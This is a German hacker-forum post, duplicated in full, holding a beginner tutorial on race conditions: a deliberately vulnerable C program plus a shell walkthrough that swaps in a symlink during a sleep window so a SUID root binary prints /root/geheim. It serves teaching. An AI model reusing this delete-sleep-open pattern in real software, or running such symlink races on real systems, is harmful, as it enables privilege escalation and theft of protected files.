GregorSamsa
25.06.2010, 22:52
Hey,
das hier hab ich neulich für J0hn.X3r geschrieben.
Viel Spaß beim Lesen und ich hoffen auf Feedback :)
/***************************
* *
* Simple Race Conditions *
* *
* written by GregorSamsa *
* gregor.samsa@jabber.ccc.de *
* *
*****************************/
0x01 {
Ein kleines Vorwort:
Hier mal ein kleines Paper zum Thema Race Conditions.
Wieder eines der Paper die geschrieben wurden,
um Anfängern das Leben zu erleichter ;)
Naja, nichts besonderes, aber vllt. regt es den ein oder
anderen zum nachdenken an...
}
0x02 {
Was sind Race Conditions?
Race Conditions sind Situationen, in denen es darum geht,
dass die Programmausführung von einem Programm solange braucht,
dass der Angreifer oder ein zweites Programm diese Zeit ausnutzen
kann, um den Ablauf des ersten Programmes zu ändern.
Ich habe hierfür ein kleines C-Programm geschrieben, dass
diesen Umstand simuliert.
}
0x03 {
/** Simple Race Condition - Example **/
#include <stdio.h>
int main(int argc, char **argv)
{
FILE *f;
char c;
if(argc < 2) {
printf("usage: %s <filename>\n", argv[0]);
return 1;
}
if(strcmp(argv[1], "secretfilename") == 0) {
printf("filename correct\nreading %s\n", argv[1]);
}
else {
printf("wrong filename\npls w8 4 next try...\n");
remove(argv[1]);
sleep(5);
}
f = fopen(argv[1], "r");
if(f == NULL) {
printf("cannot open file...\nmaybe wrong filename...?\n");
return 1;
}
while(!feof(f)) printf("%c", fgetc(f));
fclose(f);
return 0;
}
}
0x04 {
Überlegungen:
Schauen wir uns dieses Programm an:
Als erstes überprüft es den Dateinamen.
Wir gehen einfach mal davon aus, dass wir
"secretfilename" nicht aus dem Speicher lesen
können. Das könnte ja auch eine sha-1 Prüfsumme
des Dateinamens sein ;)
Wenn der Dateiname nicht richtig ist, wird die Datei
gelöscht und es werden 5 Sekunden gewartet.
Später wird versucht die Datei zu öffnen und zu lesen.
Wenn der falsche Dateiname eingegeben wurde,
ist die Datei gelöscht und kann nicht gelesen werden...
Oder doch...?
}
0x05 {
Angriff:
Da wir secretfilename nicht wissen, probieren wir
einfach mal so, das Programm zu starten:
[samsa@hades ~]$ ./rc
usage: ./rc <filename>
[samsa@hades ~]$ ./rc test
wrong filename
pls w8 4 next try...
<5 sek warten>
cannot open file...
maybe wrong filename...?
Die Angriffsmöglichkeit besteht in der Wartezeit
von 5 Sekunden.
Die Datei wird erst gelöscht, _danach_ wird gewartet
und dann versucht die Datei zu öffnen.
Daher haben wir ganz locker Zeit, in diesen 5 Sekunden
die Datei neu zu erstellen, damit die Ausgelesen wird:
(In dem Beispiel gehen wir davon aus, dass wir ein
SUID root Programm haben und /root/geheim lesen wollen)
[samsa@hades ~]$ ./rc test & # im Hintergrund starten
[1] 1337
[samsa@hades ~]$ wrong filename
pls w8 4 next try
[samsa@hades ~]$ ln -s /root/geheim test # während der 5 Sekunden eine Datei anlegen, die auf /root/geheim verweist
[samsa@hades ~]$ <inhalt von /root/geheim>
[1]+ Fertig ./rc test
[samsa@hades ~]$
Ganz einfach, oder? :P
Selbst wenn test besteht, wird diese Datei gelöscht,
da der Dateiname falsch ist.
Allerdings wird erst _danach_ 5 sek. gewartet,
und wir erstellen eine Verknüpfung zu /root/geheim,
die dann von dem Programm ausgelesen wird.
}
0x06 {
Schlusswort:
Das war kein Übermäßiges Tut und in ~45 min. geschrieben.
Aber vllt. hilft es euch, Designfehler bei Programmabläufen
zu verstehen und auszunutzen.
Wer noch Fragen hat findet mich da:
gregor.samsa@jabber.ccc.de
irc.freenode.net #back2hack http://back2hack.cc/
irc.ircdotnet.net #free-hack http://free-hack.com/
}
0x07 {
oh shit, da greetz section... but meh like mah
1337 friendz so meh hav 2 greetz them here!!!111
J0hn.X3r - 4 u ;)
BlackBerry - meh like u :-*
h0yt3r - caaatz meow <3333
Invisibility, Cheese, 0x30, aKiller - only: <3
OpCodez - drugs r bad, but u r cool :P
...and kazuya, RedTiger, soulstoned, gesocks and teh
other user from #back2hack and #free-hack i like u
}
/** n0p **/
greeetz
das hier hab ich neulich für J0hn.X3r geschrieben.
Viel Spaß beim Lesen und ich hoffen auf Feedback :)
/***************************
* *
* Simple Race Conditions *
* *
* written by GregorSamsa *
* gregor.samsa@jabber.ccc.de *
* *
*****************************/
0x01 {
Ein kleines Vorwort:
Hier mal ein kleines Paper zum Thema Race Conditions.
Wieder eines der Paper die geschrieben wurden,
um Anfängern das Leben zu erleichter ;)
Naja, nichts besonderes, aber vllt. regt es den ein oder
anderen zum nachdenken an...
}
0x02 {
Was sind Race Conditions?
Race Conditions sind Situationen, in denen es darum geht,
dass die Programmausführung von einem Programm solange braucht,
dass der Angreifer oder ein zweites Programm diese Zeit ausnutzen
kann, um den Ablauf des ersten Programmes zu ändern.
Ich habe hierfür ein kleines C-Programm geschrieben, dass
diesen Umstand simuliert.
}
0x03 {
/** Simple Race Condition - Example **/
#include <stdio.h>
int main(int argc, char **argv)
{
FILE *f;
char c;
if(argc < 2) {
printf("usage: %s <filename>\n", argv[0]);
return 1;
}
if(strcmp(argv[1], "secretfilename") == 0) {
printf("filename correct\nreading %s\n", argv[1]);
}
else {
printf("wrong filename\npls w8 4 next try...\n");
remove(argv[1]);
sleep(5);
}
f = fopen(argv[1], "r");
if(f == NULL) {
printf("cannot open file...\nmaybe wrong filename...?\n");
return 1;
}
while(!feof(f)) printf("%c", fgetc(f));
fclose(f);
return 0;
}
}
0x04 {
Überlegungen:
Schauen wir uns dieses Programm an:
Als erstes überprüft es den Dateinamen.
Wir gehen einfach mal davon aus, dass wir
"secretfilename" nicht aus dem Speicher lesen
können. Das könnte ja auch eine sha-1 Prüfsumme
des Dateinamens sein ;)
Wenn der Dateiname nicht richtig ist, wird die Datei
gelöscht und es werden 5 Sekunden gewartet.
Später wird versucht die Datei zu öffnen und zu lesen.
Wenn der falsche Dateiname eingegeben wurde,
ist die Datei gelöscht und kann nicht gelesen werden...
Oder doch...?
}
0x05 {
Angriff:
Da wir secretfilename nicht wissen, probieren wir
einfach mal so, das Programm zu starten:
[samsa@hades ~]$ ./rc
usage: ./rc <filename>
[samsa@hades ~]$ ./rc test
wrong filename
pls w8 4 next try...
<5 sek warten>
cannot open file...
maybe wrong filename...?
Die Angriffsmöglichkeit besteht in der Wartezeit
von 5 Sekunden.
Die Datei wird erst gelöscht, _danach_ wird gewartet
und dann versucht die Datei zu öffnen.
Daher haben wir ganz locker Zeit, in diesen 5 Sekunden
die Datei neu zu erstellen, damit die Ausgelesen wird:
(In dem Beispiel gehen wir davon aus, dass wir ein
SUID root Programm haben und /root/geheim lesen wollen)
[samsa@hades ~]$ ./rc test & # im Hintergrund starten
[1] 1337
[samsa@hades ~]$ wrong filename
pls w8 4 next try
[samsa@hades ~]$ ln -s /root/geheim test # während der 5 Sekunden eine Datei anlegen, die auf /root/geheim verweist
[samsa@hades ~]$ <inhalt von /root/geheim>
[1]+ Fertig ./rc test
[samsa@hades ~]$
Ganz einfach, oder? :P
Selbst wenn test besteht, wird diese Datei gelöscht,
da der Dateiname falsch ist.
Allerdings wird erst _danach_ 5 sek. gewartet,
und wir erstellen eine Verknüpfung zu /root/geheim,
die dann von dem Programm ausgelesen wird.
}
0x06 {
Schlusswort:
Das war kein Übermäßiges Tut und in ~45 min. geschrieben.
Aber vllt. hilft es euch, Designfehler bei Programmabläufen
zu verstehen und auszunutzen.
Wer noch Fragen hat findet mich da:
gregor.samsa@jabber.ccc.de
irc.freenode.net #back2hack http://back2hack.cc/
irc.ircdotnet.net #free-hack http://free-hack.com/
}
0x07 {
oh shit, da greetz section... but meh like mah
1337 friendz so meh hav 2 greetz them here!!!111
J0hn.X3r - 4 u ;)
BlackBerry - meh like u :-*
h0yt3r - caaatz meow <3333
Invisibility, Cheese, 0x30, aKiller - only: <3
OpCodez - drugs r bad, but u r cool :P
...and kazuya, RedTiger, soulstoned, gesocks and teh
other user from #back2hack and #free-hack i like u
}
/** n0p **/
greeetz